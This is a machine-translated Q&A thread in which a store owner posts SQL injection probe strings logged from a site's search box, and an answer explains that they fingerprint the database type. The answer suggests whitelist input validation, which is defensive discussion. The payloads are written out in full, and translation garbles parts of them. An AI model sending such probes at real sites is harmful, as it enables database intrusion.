商店搜索中的 SQL 注入模式
Posted
技术标签:
【中文标题】商店搜索中的 SQL 注入模式【英文标题】:SQL Injection pattern in store search 【发布时间】:2014-11-21 02:48:19 【问题描述】:从今天凌晨开始,我们的电子商务商店就收到了以下搜索查询。我了解它的 SQL 注入。我们也在使用参数化查询。所以它没有造成任何伤害。但是由于查询全文搜索的长度需要时间来处理并最终超时并且网站暂停了一段时间。
立即,我将搜索的最大租船人限制为 75,并添加了检测 sql 注入并防止其到达 sql server 的逻辑,以增加安全性。
我们的环境: ASP.Net 电子商务网站 具有全文搜索功能的 SQL Server 2012 Express DB。 Windows 2012 标准服务器。
只是想知道搜索者想要了解/研究什么?或者他们只是想挂掉网站?在上面提到的修复之后忽略它是安全的吗?
搜索词如下。 “输入型号或墨盒代码”是我们默认的搜索文本框文本。
输入型号或墨盒代码) AND 2895=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(112)||CHR(97)||CHR (122)||CHR(113)||(从 DUAL 中选择(当 (2895=2895) THEN 1 ELSE 0 END)||CHR(113)||CHR(119)||CHR(99)|| CHR(121)||CHR(113)||CHR(62))) 来自 DUAL) 和 (9170=9170
输入型号或墨盒代码') AND 3733=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3733=3733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(113)+CHAR(107)+CHAR(113))) AND ('KzHP' ='KzHP
输入型号或墨盒代码%' AND (SELECT 2396 FROM(SELECT COUNT(*),CONCAT(0x7170617a71,(SELECT (CASE WHEN (2396=2396) THEN 1 ELSE 0 END)),0x7177637971,FLOOR(RAND (0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='
输入型号或墨盒代码%' AND 4201=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(97)+CHAR(122)+CHAR(113)+(SELECT (CASE WHEN (4201=4201) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(119)+CHAR(99)+CHAR(121)+CHAR(113))) AND '%'= '
输入型号或墨盒代码') AND 6442=CAST((CHR(113)||CHR(112)||CHR(97)||CHR(122)||CHR(113))||(SELECT (当 (6442=6442) THEN 1 ELSE 0 END)::text||(CHR(113)||CHR(119)||CHR(99)||CHR(121)||CHR(113))作为数字)和('iWJF'='iWJF
输入型号或墨盒代码 AND 3733=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3733 =3733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(113)+CHAR(107)+CHAR(113)))--ZgIZ
输入型号或墨盒代码)AND 6442=CAST((CHR(113)||CHR(112)||CHR(97)||CHR(122)||CHR(113))||(SELECT ( CASE WHEN (6442=6442) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(119)||CHR(99)||CHR(121)||CHR(113)) AS数字)和(8167=8167
输入型号或墨盒代码 AND 3733=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(104)+CHAR(106)+CHAR(113)+(SELECT (CASE WHEN (3733 =3733) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(113)+CHAR(107)+CHAR(113)))
输入型号或墨盒代码 AND 6442=CAST((CHR(113)||CHR(112)||CHR(97)||CHR(122)||CHR(113))||(SELECT (CASE WHEN (6442=6442) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(119)||CHR(99)||CHR(121)||CHR(113)) 作为数字)-- CuDa
【问题讨论】:
我喜欢你的问题:) 【参考方案1】:作为 SQL 注入专家,这些似乎只是通用查询,以了解是否存在 SQL 注入,以及它是哪种数据库类型。 您可以看到,在某些情况下,他使用了 CHR,这是 Oracle 的 number-to-char 版本,在其他情况下,他使用了 CHAR,这是其他 DB 的函数名称(SQL Server),在另一种情况下,他解决了 INFORMATION_SCHEMA.CHARACTER_SETS table 是 mysql 中的一个表。 他只需发送几个通用查询来查找注入和数据库类型。 尽管如此,如果您的网站因此而挂起,除了长度验证之外,您还应该对特殊字符(括号?)进行一些更好的输入验证
【讨论】:
这很好。感谢上帝,从那以后我们再也没有尝试过。 欢迎 :) 我建议您添加一些基于白名单的输入验证,并且只包含需要的字符,例如字母和数字,以防止您的全文查询变得疯狂。如果您需要任何特殊字符作为业务需求,当然可以将其包含在您的白名单中。以上是关于商店搜索中的 SQL 注入模式的主要内容,如果未能解决你的问题,请参考以下文章